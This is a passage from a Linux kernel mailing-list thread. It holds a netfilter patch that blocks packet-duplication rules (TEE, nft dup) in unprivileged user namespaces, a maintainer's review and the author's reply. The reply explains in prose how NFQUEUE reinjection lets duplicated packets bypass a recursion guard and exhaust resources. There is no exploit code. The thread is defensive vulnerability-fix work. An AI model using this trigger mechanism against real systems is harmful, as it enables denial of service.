This is a namespace policy restriction, not a general fix for asynchronous
duplication behavior. Rules remain installable in init_user_ns-owned
network namespaces, and their existing packet-processing behavior is
unchanged.

Fixes: cd58bcd9787e ("netfilter: xt_TEE: have cloned packet travel through Xtables too")
Fixes: 502061f81d3e ("netfilter: nf_tables: add packet duplication to the netdev family")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: LLM
Co-developed-by: Luxing Yin <root@tr0jan.top>
Signed-off-by: Luxing Yin <root@tr0jan.top>
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
---
changes in v6:
  - reroll the unchanged four-file setup-time restriction on nf.git main at
    ab699d296e06
  - do not present v5 build or runtime results as v6 validation
  - v5 Link:
    https://lore.kernel.org/all/20260929125832.25316-1-zihanx@nebusec.ai/
changes in v5:
  - describe the patch as a non-initial-userns setup restriction, not a
    general recursion fix; state that init_user_ns behavior is unchanged
  - remove path-specific trigger details and run-specific metrics from the
    public commit and cover prose
  - drop d877f07112f1 from Fixes: because it added a later frontend, not the
    shared duplication behavior addressed by this restriction
  - record the v5 build and setup-time validation, distinguishing them from
    earlier unpatched-baseline and root-OOM runs
  - v4 Link:
    https://lore.kernel.org/all/cover.1790408011.git.zihanx@nebusec.ai/
changes in v4:
  - add Fixes tags for TEE, IPv4/IPv6 nft dup, and netdev nft dup
    frontends
  - clarify that fcd53c51d037 only added a synchronous guard
  - clarify that this restricts non-initial user namespaces and does not
    fix asynchronous recursion in init_user_ns-owned network namespaces
  - state explicitly that the netdev loop was not runtime-reproduced
  - v3 Link:
    https://lore.kernel.org/all/cover.1790042930.git.zihanx@nebusec.ai/
changes in v3:
  - reroll the fix against the latest nf.git main after no follow-up on v2
  - add the Co-developed-by trailer and matching Signed-off-by
  - v2 Link:
    https://lore.kernel.org/all/cover.1788425393.git.zihanx@nebusec.ai/
changes in v2:
  - drop the persistent struct sk_buff::nf_duplicated field and nf_copy()
    change from v1
  - disable IPv4/IPv6 duplication in non-initial user namespaces
  - v1 Link:
    https://lore.kernel.org/all/cover.1787903722.git.zihanx@nebusec.ai/
---
 net/ipv4/netfilter/nft_dup_ipv4.c | 4 ++++
 net/ipv6/netfilter/nft_dup_ipv6.c | 4 ++++
 net/netfilter/nft_dup_netdev.c    | 4 ++++
 net/netfilter/xt_TEE.c            | 4 ++++
 4 files changed, 16 insertions(+)

diff --git a/net/ipv4/netfilter/nft_dup_ipv4.c b/net/ipv4/netfilter/nft_dup_ipv4.c
index d53a65ddbd7b..db62e30456e4 100644
--- a/net/ipv4/netfilter/nft_dup_ipv4.c
+++ b/net/ipv4/netfilter/nft_dup_ipv4.c
@@ -7,6 +7,7 @@
 #include <linux/init.h>
 #include <linux/module.h>
 #include <linux/netlink.h>
+#include <linux/user_namespace.h>
 #include <linux/netfilter.h>
 #include <linux/netfilter/nf_tables.h>
 #include <net/netfilter/nf_tables.h>
@@ -37,6 +38,9 @@ static int nft_dup_ipv4_init(const struct nft_ctx *ctx,
 	struct nft_dup_ipv4 *priv = nft_expr_priv(expr);
 	int err;
 
+	if (ctx->net->user_ns != &init_user_ns)
+		return -EPERM;
+
 	if (tb[NFTA_DUP_SREG_ADDR] == NULL)
 		return -EINVAL;
 
diff --git a/net/ipv6/netfilter/nft_dup_ipv6.c b/net/ipv6/netfilter/nft_dup_ipv6.c
index 95ec27b3971c..6219ef57633e 100644
--- a/net/ipv6/netfilter/nft_dup_ipv6.c
+++ b/net/ipv6/netfilter/nft_dup_ipv6.c
@@ -7,6 +7,7 @@
 #include <linux/init.h>
 #include <linux/module.h>
 #include <linux/netlink.h>
+#include <linux/user_namespace.h>
 #include <linux/netfilter.h>
 #include <linux/netfilter/nf_tables.h>
 #include <net/netfilter/nf_tables.h>
@@ -35,6 +36,9 @@ static int nft_dup_ipv6_init(const struct nft_ctx *ctx,
 	struct nft_dup_ipv6 *priv = nft_expr_priv(expr);
 	int err;
 
+	if (ctx->net->user_ns != &init_user_ns)
+		return -EPERM;
+
 	if (tb[NFTA_DUP_SREG_ADDR] == NULL)
 		return -EINVAL;
 
diff --git a/net/netfilter/nft_dup_netdev.c b/net/netfilter/nft_dup_netdev.c
index 06866799e946..8d9dfd18475c 100644
--- a/net/netfilter/nft_dup_netdev.c
+++ b/net/netfilter/nft_dup_netdev.c
@@ -7,6 +7,7 @@
 #include <linux/init.h>
 #include <linux/module.h>
 #include <linux/netlink.h>
+#include <linux/user_namespace.h>
 #include <linux/netfilter.h>
 #include <linux/netfilter/nf_tables.h>
 #include <net/netfilter/nf_tables.h>
@@ -37,6 +38,9 @@ static int nft_dup_netdev_init(const struct nft_ctx *ctx,
 {
 	struct nft_dup_netdev *priv = nft_expr_priv(expr);
 
+	if (ctx->net->user_ns != &init_user_ns)
+		return -EPERM;
+
 	if (tb[NFTA_DUP_SREG_DEV] == NULL)
 		return -EINVAL;
 
diff --git a/net/netfilter/xt_TEE.c b/net/netfilter/xt_TEE.c
index 5d34ceb893ed..51c643987526 100644
--- a/net/netfilter/xt_TEE.c
+++ b/net/netfilter/xt_TEE.c
@@ -10,6 +10,7 @@
 #include <linux/module.h>
 #include <linux/skbuff.h>
 #include <linux/route.h>
+#include <linux/user_namespace.h>
 #include <linux/netfilter/x_tables.h>
 #include <net/net_namespace.h>
 #include <net/netns/generic.h>
@@ -95,6 +96,9 @@ static int tee_tg_check(const struct xt_tgchk_param *par)
 	struct xt_tee_tginfo *info = par->targinfo;
 	struct xt_tee_priv *priv;
 
+	if (par->net->user_ns != &init_user_ns)
+		return -EPERM;
+
 	/* 0.0.0.0 and :: not allowed */
 	if (memcmp(&info->gw, &tee_zero_address,
 		   sizeof(tee_zero_address)) == 0)
-- 
2.43.0


^ permalink raw reply related	[flat|nested] 4+ messages in thread

* Re: [PATCH nf v6 1/1] netfilter: nf_dup: reject TEE and IPv4/IPv6/netdev nft dup in userns
  2026-10-08  7:08 ` [PATCH nf v6 1/1] " Zihan Xi
@ 2026-10-09  0:11   ` Pablo Neira Ayuso
  2026-10-09  0:53     ` zihan xi
  0 siblings, 1 reply; 4+ messages in thread
From: Pablo Neira Ayuso @ 2026-10-09  0:11 UTC (permalink / raw)
  To: Zihan Xi
  Cc: netfilter-devel, fw, phil, davem, edumazet, pabeni, horms, kaber,
	jengelh, vega, root

On Thu, Oct 08, 2026 at 07:08:16AM +0000, Zihan Xi wrote:
> The packet-duplication frontends can permit repeated packet duplication and
> resource consumption when configured in a network namespace owned by a
> non-initial user namespace. Users with CAP_NET_ADMIN in that namespace can
> configure the affected rules.
> 
> No use case for TEE or nft dup in such namespaces has been identified.
> Reject TEE and IPv4/IPv6/netdev nft dup rule or expression setup with
> -EPERM there, without adding checks to packet-processing fast paths.
> 
> This is a namespace policy restriction, not a general fix for asynchronous
> duplication behavior. Rules remain installable in init_user_ns-owned
> network namespaces, and their existing packet-processing behavior is
> unchanged.

This patch does not refer to NFQUEUE anymore, which allows to trigger
the OOM sequence that is described. I think it is relevant to
understand why this is being proposed to be disable in userns.

I read Florian proposed this approach, but I have to admit I get a bit
nervous when it comes to restricting features in this way
(sledgehammer!).

Why saving current->in_nf_duplicate in the struct nf_queue_entry is
not an option? So restoring current->in_nf_duplicate on packet
reinjection can be done? Are there concerns about this can be abused
in more way via async/escape paths similar to NFQUEUE?

Thanks.

> Fixes: cd58bcd9787e ("netfilter: xt_TEE: have cloned packet travel through Xtables too")
> Fixes: 502061f81d3e ("netfilter: nf_tables: add packet duplication to the netdev family")
> Cc: stable@vger.kernel.org
> Reported-by: Vega <vega@nebusec.ai>
> Assisted-by: LLM
> Co-developed-by: Luxing Yin <root@tr0jan.top>
> Signed-off-by: Luxing Yin <root@tr0jan.top>
> Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
> ---
> changes in v6:
>   - reroll the unchanged four-file setup-time restriction on nf.git main at
>     ab699d296e06
>   - do not present v5 build or runtime results as v6 validation
>   - v5 Link:
>     https://lore.kernel.org/all/20260929125832.25316-1-zihanx@nebusec.ai/
> changes in v5:
>   - describe the patch as a non-initial-userns setup restriction, not a
>     general recursion fix; state that init_user_ns behavior is unchanged
>   - remove path-specific trigger details and run-specific metrics from the
>     public commit and cover prose
>   - drop d877f07112f1 from Fixes: because it added a later frontend, not the
>     shared duplication behavior addressed by this restriction
>   - record the v5 build and setup-time validation, distinguishing them from
>     earlier unpatched-baseline and root-OOM runs
>   - v4 Link:
>     https://lore.kernel.org/all/cover.1790408011.git.zihanx@nebusec.ai/
> changes in v4:
>   - add Fixes tags for TEE, IPv4/IPv6 nft dup, and netdev nft dup
>     frontends
>   - clarify that fcd53c51d037 only added a synchronous guard
>   - clarify that this restricts non-initial user namespaces and does not
>     fix asynchronous recursion in init_user_ns-owned network namespaces
>   - state explicitly that the netdev loop was not runtime-reproduced
>   - v3 Link:
>     https://lore.kernel.org/all/cover.1790042930.git.zihanx@nebusec.ai/
> changes in v3:
>   - reroll the fix against the latest nf.git main after no follow-up on v2
>   - add the Co-developed-by trailer and matching Signed-off-by
>   - v2 Link:
>     https://lore.kernel.org/all/cover.1788425393.git.zihanx@nebusec.ai/
> changes in v2:
>   - drop the persistent struct sk_buff::nf_duplicated field and nf_copy()
>     change from v1
>   - disable IPv4/IPv6 duplication in non-initial user namespaces
>   - v1 Link:
>     https://lore.kernel.org/all/cover.1787903722.git.zihanx@nebusec.ai/
> ---
>  net/ipv4/netfilter/nft_dup_ipv4.c | 4 ++++
>  net/ipv6/netfilter/nft_dup_ipv6.c | 4 ++++
>  net/netfilter/nft_dup_netdev.c    | 4 ++++
>  net/netfilter/xt_TEE.c            | 4 ++++
>  4 files changed, 16 insertions(+)
> 
> diff --git a/net/ipv4/netfilter/nft_dup_ipv4.c b/net/ipv4/netfilter/nft_dup_ipv4.c
> index d53a65ddbd7b..db62e30456e4 100644
> --- a/net/ipv4/netfilter/nft_dup_ipv4.c
> +++ b/net/ipv4/netfilter/nft_dup_ipv4.c
> @@ -7,6 +7,7 @@
>  #include <linux/init.h>
>  #include <linux/module.h>
>  #include <linux/netlink.h>
> +#include <linux/user_namespace.h>
>  #include <linux/netfilter.h>
>  #include <linux/netfilter/nf_tables.h>
>  #include <net/netfilter/nf_tables.h>
> @@ -37,6 +38,9 @@ static int nft_dup_ipv4_init(const struct nft_ctx *ctx,
>  	struct nft_dup_ipv4 *priv = nft_expr_priv(expr);
>  	int err;
>  
> +	if (ctx->net->user_ns != &init_user_ns)
> +		return -EPERM;
> +
>  	if (tb[NFTA_DUP_SREG_ADDR] == NULL)
>  		return -EINVAL;
>  
> diff --git a/net/ipv6/netfilter/nft_dup_ipv6.c b/net/ipv6/netfilter/nft_dup_ipv6.c
> index 95ec27b3971c..6219ef57633e 100644
> --- a/net/ipv6/netfilter/nft_dup_ipv6.c
> +++ b/net/ipv6/netfilter/nft_dup_ipv6.c
> @@ -7,6 +7,7 @@
>  #include <linux/init.h>
>  #include <linux/module.h>
>  #include <linux/netlink.h>
> +#include <linux/user_namespace.h>
>  #include <linux/netfilter.h>
>  #include <linux/netfilter/nf_tables.h>
>  #include <net/netfilter/nf_tables.h>
> @@ -35,6 +36,9 @@ static int nft_dup_ipv6_init(const struct nft_ctx *ctx,
>  	struct nft_dup_ipv6 *priv = nft_expr_priv(expr);
>  	int err;
>  
> +	if (ctx->net->user_ns != &init_user_ns)
> +		return -EPERM;
> +
>  	if (tb[NFTA_DUP_SREG_ADDR] == NULL)
>  		return -EINVAL;
>  
> diff --git a/net/netfilter/nft_dup_netdev.c b/net/netfilter/nft_dup_netdev.c
> index 06866799e946..8d9dfd18475c 100644
> --- a/net/netfilter/nft_dup_netdev.c
> +++ b/net/netfilter/nft_dup_netdev.c
> @@ -7,6 +7,7 @@
>  #include <linux/init.h>
>  #include <linux/module.h>
>  #include <linux/netlink.h>
> +#include <linux/user_namespace.h>
>  #include <linux/netfilter.h>
>  #include <linux/netfilter/nf_tables.h>
>  #include <net/netfilter/nf_tables.h>
> @@ -37,6 +38,9 @@ static int nft_dup_netdev_init(const struct nft_ctx *ctx,
>  {
>  	struct nft_dup_netdev *priv = nft_expr_priv(expr);
>  
> +	if (ctx->net->user_ns != &init_user_ns)
> +		return -EPERM;
> +
>  	if (tb[NFTA_DUP_SREG_DEV] == NULL)
>  		return -EINVAL;
>  
> diff --git a/net/netfilter/xt_TEE.c b/net/netfilter/xt_TEE.c
> index 5d34ceb893ed..51c643987526 100644
> --- a/net/netfilter/xt_TEE.c
> +++ b/net/netfilter/xt_TEE.c
> @@ -10,6 +10,7 @@
>  #include <linux/module.h>
>  #include <linux/skbuff.h>
>  #include <linux/route.h>
> +#include <linux/user_namespace.h>
>  #include <linux/netfilter/x_tables.h>
>  #include <net/net_namespace.h>
>  #include <net/netns/generic.h>
> @@ -95,6 +96,9 @@ static int tee_tg_check(const struct xt_tgchk_param *par)
>  	struct xt_tee_tginfo *info = par->targinfo;
>  	struct xt_tee_priv *priv;
>  
> +	if (par->net->user_ns != &init_user_ns)
> +		return -EPERM;
> +
>  	/* 0.0.0.0 and :: not allowed */
>  	if (memcmp(&info->gw, &tee_zero_address,
>  		   sizeof(tee_zero_address)) == 0)
> -- 
> 2.43.0
> 

^ permalink raw reply	[flat|nested] 4+ messages in thread

* Re: [PATCH nf v6 1/1] netfilter: nf_dup: reject TEE and IPv4/IPv6/netdev nft dup in userns
  2026-10-09  0:11   ` Pablo Neira Ayuso
@ 2026-10-09  0:53     ` zihan xi
  0 siblings, 0 replies; 4+ messages in thread
From: zihan xi @ 2026-10-09  0:53 UTC (permalink / raw)
  To: Pablo Neira Ayuso
  Cc: netfilter-devel, fw, phil, davem, edumazet, pabeni, horms, kaber,
	jengelh, vega, root

On Fri, Oct 9, 2026 at 8:11 AM Pablo Neira Ayuso <pablo@netfilter.org> wrote:
>
> On Thu, Oct 08, 2026 at 07:08:16AM +0000, Zihan Xi wrote:
> > The packet-duplication frontends can permit repeated packet duplication and
> > resource consumption when configured in a network namespace owned by a
> > non-initial user namespace. Users with CAP_NET_ADMIN in that namespace can
> > configure the affected rules.
> >
> > No use case for TEE or nft dup in such namespaces has been identified.
> > Reject TEE and IPv4/IPv6/netdev nft dup rule or expression setup with
> > -EPERM there, without adding checks to packet-processing fast paths.
> >
> > This is a namespace policy restriction, not a general fix for asynchronous
> > duplication behavior. Rules remain installable in init_user_ns-owned
> > network namespaces, and their existing packet-processing behavior is
> > unchanged.
>
> This patch does not refer to NFQUEUE anymore, which allows to trigger
> the OOM sequence that is described. I think it is relevant to
> understand why this is being proposed to be disable in userns.
>
> I read Florian proposed this approach, but I have to admit I get a bit
> nervous when it comes to restricting features in this way
> (sledgehammer!).
>
> Why saving current->in_nf_duplicate in the struct nf_queue_entry is
> not an option? So restoring current->in_nf_duplicate on packet
> reinjection can be done? Are there concerns about this can be abused
> in more way via async/escape paths similar to NFQUEUE?
>
> Thanks.

Hi Pablo,

Thanks for the review. You're right that the v6 commit message became too
generic and omitted NFQUEUE, which is central to the demonstrated trigger.

The relevant sequence is that an IPv4 or IPv6 duplicate reaches an NFQUEUE
hook while current->in_nf_duplicate is set. NFQUEUE retains the skb and
returns NF_STOLEN, so the original ip_local_out() or ip6_local_out() call
unwinds and the duplication helper clears the task-local flag. When a later
NF_ACCEPT verdict reinjects the skb, hook traversal resumes after the queued
hook in the verdict-processing context, where the original task-local guard
is no longer set. A later duplication rule can then duplicate the packet
again, causing repeated packet processing and resource consumption.

The OOM panic log included in the v6 cover letter came from a separate run
as root in a guest configured with panic_on_oom=1. It does not demonstrate
that the unprivileged user-namespace run can directly panic the host; the
demonstrated impact is resource consumption.

I don't currently see a reason to rule out saving the duplication state in
struct nf_queue_entry; I had not fully evaluated that approach. I will
check whether the saved state can be applied only while reinjection resumes
hook traversal, while preserving and restoring the verdict-processing
task's prior in_nf_duplicate state on all exit paths. I will also audit
entry-copy paths, including NFQUEUE GSO segmentation. I have not
implemented or validated this approach yet.

Saving only in_nf_duplicate would not address every frontend. In
particular, nft_dup_netdev uses the separate nf_dev_xmit_recursion()
counter around dev_queue_xmit(). I will audit that path and other
asynchronous continuations before deciding whether queue-entry state
propagation is sufficient or whether additional changes are needed.

I will reassess the current user-namespace restriction after that review,
rather than present it as a general fix for asynchronous duplication.

Best regards,
Zihan Xi

>
> > Fixes: cd58bcd9787e ("netfilter: xt_TEE: have cloned packet travel through Xtables too")
> > Fixes: 502061f81d3e ("netfilter: nf_tables: add packet duplication to the netdev family")
> > Cc: stable@vger.kernel.org
> > Reported-by: Vega <vega@nebusec.ai>
> > Assisted-by: LLM
> > Co-developed-by: Luxing Yin <root@tr0jan.top>
> > Signed-off-by: Luxing Yin <root@tr0jan.top>
> > Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
> > ---
> > changes in v6:
> >   - reroll the unchanged four-file setup-time restriction on nf.git main at
> >     ab699d296e06
> >   - do not present v5 build or runtime results as v6 validation
> >   - v5 Link:
> >     https://lore.kernel.org/all/20260929125832.25316-1-zihanx@nebusec.ai/
> > changes in v5:
> >   - describe the patch as a non-initial-userns setup restriction, not a
> >     general recursion fix; state that init_user_ns behavior is unchanged
> >   - remove path-specific trigger details and run-specific metrics from the
> >     public commit and cover prose
> >   - drop d877f07112f1 from Fixes: because it added a later frontend, not the
> >     shared duplication behavior addressed by this restriction
> >   - record the v5 build and setup-time validation, distinguishing them from
> >     earlier unpatched-baseline and root-OOM runs
> >   - v4 Link:
> >     https://lore.kernel.org/all/cover.1790408011.git.zihanx@nebusec.ai/
> > changes in v4:
> >   - add Fixes tags for TEE, IPv4/IPv6 nft dup, and netdev nft dup
> >     frontends
> >   - clarify that fcd53c51d037 only added a synchronous guard
> >   - clarify that this restricts non-initial user namespaces and does not
> >     fix asynchronous recursion in init_user_ns-owned network namespaces
> >   - state explicitly that the netdev loop was not runtime-reproduced
> >   - v3 Link:
> >     https://lore.kernel.org/all/cover.1790042930.git.zihanx@nebusec.ai/
> > changes in v3:
> >   - reroll the fix against the latest nf.git main after no follow-up on v2
> >   - add the Co-developed-by trailer and matching Signed-off-by
> >   - v2 Link:
> >     https://lore.kernel.org/all/cover.1788425393.git.zihanx@nebusec.ai/
> > changes in v2:
> >   - drop the persistent struct sk_buff::nf_duplicated field and nf_copy()
> >     change from v1
> >   - disable IPv4/IPv6 duplication in non-initial user namespaces
> >   - v1 Link:
> >     https://lore.kernel.org/all/cover.1787903722.git.zihanx@nebusec.ai/
> > ---
> >  net/ipv4/netfilter/nft_dup_ipv4.c | 4 ++++
> >  net/ipv6/netfilter/nft_dup_ipv6.c | 4 ++++
> >  net/netfilter/nft_dup_netdev.c    | 4 ++++
> >  net/netfilter/xt_TEE.c            | 4 ++++
> >  4 files changed, 16 insertions(+)
> >
> > diff --git a/net/ipv4/netfilter/nft_dup_ipv4.c b/net/ipv4/netfilter/nft_dup_ipv4.c
> > index d53a65ddbd7b..db62e30456e4 100644
> > --- a/net/ipv4/netfilter/nft_dup_ipv4.c
> > +++ b/net/ipv4/netfilter/nft_dup_ipv4.c
> > @@ -7,6 +7,7 @@
> >  #include <linux/init.h>
> >  #include <linux/module.h>
> >  #include <linux/netlink.h>
> > +#include <linux/user_namespace.h>
> >  #include <linux/netfilter.h>
> >  #include <linux/netfilter/nf_tables.h>
> >  #include <net/netfilter/nf_tables.h>
> > @@ -37,6 +38,9 @@ static int nft_dup_ipv4_init(const struct nft_ctx *ctx,
> >       struct nft_dup_ipv4 *priv = nft_expr_priv(expr);
> >       int err;
> >
> > +     if (ctx->net->user_ns != &init_user_ns)
> > +             return -EPERM;
> > +
> >       if (tb[NFTA_DUP_SREG_ADDR] == NULL)
> >               return -EINVAL;
> >
> > diff --git a/net/ipv6/netfilter/nft_dup_ipv6.c b/net/ipv6/netfilter/nft_dup_ipv6.c
> > index 95ec27b3971c..6219ef57633e 100644
> > --- a/net/ipv6/netfilter/nft_dup_ipv6.c
> > +++ b/net/ipv6/netfilter/nft_dup_ipv6.c
> > @@ -7,6 +7,7 @@
> >  #include <linux/init.h>
> >  #include <linux/module.h>
> >  #include <linux/netlink.h>
> > +#include <linux/user_namespace.h>
> >  #include <linux/netfilter.h>
> >  #include <linux/netfilter/nf_tables.h>
> >  #include <net/netfilter/nf_tables.h>
> > @@ -35,6 +36,9 @@ static int nft_dup_ipv6_init(const struct nft_ctx *ctx,
> >       struct nft_dup_ipv6 *priv = nft_expr_priv(expr);
> >       int err;
> >
> > +     if (ctx->net->user_ns != &init_user_ns)
> > +             return -EPERM;
> > +
> >       if (tb[NFTA_DUP_SREG_ADDR] == NULL)
> >               return -EINVAL;
> >
> > diff --git a/net/netfilter/nft_dup_netdev.c b/net/netfilter/nft_dup_netdev.c
> > index 06866799e946..8d9dfd18475c 100644
> > --- a/net/netfilter/nft_dup_netdev.c
> > +++ b/net/netfilter/nft_dup_netdev.c
> > @@ -7,6 +7,7 @@
> >  #include <linux/init.h>
> >  #include <linux/module.h>
> >  #include <linux/netlink.h>
> > +#include <linux/user_namespace.h>
> >  #include <linux/netfilter.h>
> >  #include <linux/netfilter/nf_tables.h>
> >  #include <net/netfilter/nf_tables.h>
> > @@ -37,6 +38,9 @@ static int nft_dup_netdev_init(const struct nft_ctx *ctx,
> >  {
> >       struct nft_dup_netdev *priv = nft_expr_priv(expr);
> >
> > +     if (ctx->net->user_ns != &init_user_ns)
> > +             return -EPERM;
> > +
> >       if (tb[NFTA_DUP_SREG_DEV] == NULL)
> >               return -EINVAL;
> >
> > diff --git a/net/netfilter/xt_TEE.c b/net/netfilter/xt_TEE.c
> > index 5d34ceb893ed..51c643987526 100644
> > --- a/net/netfilter/xt_TEE.c
> > +++ b/net/netfilter/xt_TEE.c
> > @@ -10,6 +10,7 @@
> >  #include <linux/module.h>
> >  #include <linux/skbuff.h>
> >  #include <linux/route.h>
> > +#include <linux/user_namespace.h>
> >  #include <linux/netfilter/x_tables.h>
> >  #include <net/net_namespace.h>
> >  #include <net/netns/generic.h>
> > @@ -95,6 +96,9 @@ static int tee_tg_check(const struct xt_tgchk_param *par)
> >       struct xt_tee_tginfo *info = par->targinfo;
> >       struct xt_tee_priv *priv;
> >
> > +     if (par->net->user_ns != &init_user_ns)
> > +             return -EPERM;
> > +
> >       /* 0.0.0.0 and :: not allowed */
> >       if (memcmp(&info->gw, &tee_zero_address,
> >                  sizeof(tee_zero_address)) == 0)
> > --
> > 2.43.0
> >

^ permalink raw reply	[flat|nested] 4+ messages in thread

end of thread, other threads:[~2026-10-09  0:53 UTC | newest]

Thread overview: 4+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-10-08  7:08 [PATCH nf v6 0/1] netfilter: nf_dup: reject TEE and IPv4/IPv6/netdev nft dup in userns Zihan Xi
2026-10-08  7:08 ` [PATCH nf v6 1/1] " Zihan Xi
2026-10-09  0:11   ` Pablo Neira Ayuso
2026-10-09  0:53     ` zihan xi

This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.